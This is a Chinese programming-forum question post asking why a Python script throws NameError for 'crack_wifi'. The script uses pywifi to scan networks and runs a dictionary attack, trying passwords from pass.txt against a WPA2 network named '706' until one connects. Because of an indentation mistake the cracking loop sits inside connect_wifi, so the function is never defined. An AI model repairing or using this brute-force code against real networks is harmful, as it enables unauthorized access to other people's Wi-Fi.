鱼C论坛

 找回密码
 立即注册
查看: 965|回复: 0

代码报错NameError: name 'crack_wifi' is not defined

[复制链接]
发表于 2020-5-31 14:11:55 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
  1. #导入相关的包
  2. import sys
  3. import time
  4. import platform
  5. import logging

  6. import pywifi
  7. from pywifi import const
  8. pywifi.set_loglevel(logging.INFO)
  9. def scan_wifi():
  10.     #初始化wifi模块
  11.     wifi = pywifi.PyWiFi()
  12.     #初始化网卡,一般人只有一块网卡,也就是0(第一块)
  13.     iface = wifi.interfaces()[0]
  14.     #执行wifi扫描
  15.     iface.scan()
  16.     #等待5s
  17.     time.sleep(5)
  18.     #扫描wifi结果
  19.     result = iface.scan_results()
  20.     #取出wifi的名字作为返回
  21.     wifiname=[]
  22.     for i in result:
  23.         wifiname.append(i.ssid)
  24.     return(wifiname)
  25. def connect_wifi(name,password):
  26.     #初始化wifi模块
  27.     wifi = pywifi.PyWiFi()
  28.     #初始化网卡
  29.     iface = wifi.interfaces()[0]
  30.     #断开WiFi连接
  31.     iface.disconnect()
  32.     #等待1s(等待断开完成,可以设置2s,但一般1s都挺长的了)
  33.     time.sleep(1)
  34.    
  35.     assert iface.status() in\
  36.         [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
  37.     #初始化wifi连接
  38.     profile = pywifi.Profile()
  39.     #初始化wifi连接的名字
  40.     profile.ssid = name
  41.     #初始化wifi连接用的网卡的状态
  42.     profile.auth = const.AUTH_ALG_OPEN
  43.     #初始化wifi连接的加密算法——WPA2
  44.     profile.akm.append(const.AKM_TYPE_WPA2PSK)
  45.     #初始化wifi连接的密码类型
  46.     profile.cipher = const.CIPHER_TYPE_CCMP
  47.     #初始化wifi连接用的密码
  48.     profile.key = password
  49.     #删除网卡上连接过的wifi文件(注意可能会遗忘原本的密码)
  50.     iface.remove_all_network_profiles()
  51.     #初始化wifi配置完成
  52.     tmp_profile = iface.add_network_profile(profile)
  53.     #网卡连接wifi
  54.     iface.connect(tmp_profile)
  55.     #等待4s
  56.     time.sleep(4)
  57.     #如果连接状态=IFACE_CONNECTED(连接成功),那么connect_wifi返回真
  58.     if iface.status() == const.IFACE_CONNECTED:
  59.         return True
  60.     else:
  61.         return False
  62.     #控制台打印要破解的wifi名
  63.     print('开始解密wifi名:'+name)
  64.     print(' ')
  65.     #密码字典(可以理解为一本新华字典,字典的内容都是密码)
  66.     path = 'pass.txt'
  67.     #将密码字典导入到程序
  68.     filename = open(path, 'r')
  69.     #开始解密
  70.     while True:
  71.         try:
  72.             #每一次循环取一行密码
  73.             passStr = filename.readline()
  74.             #用密码去连接wifi,并获取wifi连接的结果
  75.             bool1 = connect_wifi(name,passStr)
  76.             #判断结果
  77.             if bool1:
  78.                 print(passStr,'是正确的密码哦')
  79.                 break
  80.             else:
  81.                 print(passStr,'不是正确的密码哦')
  82.         except:
  83.             continue

  84. crack_wifi('706')

复制代码
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2025-6-20 23:42

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表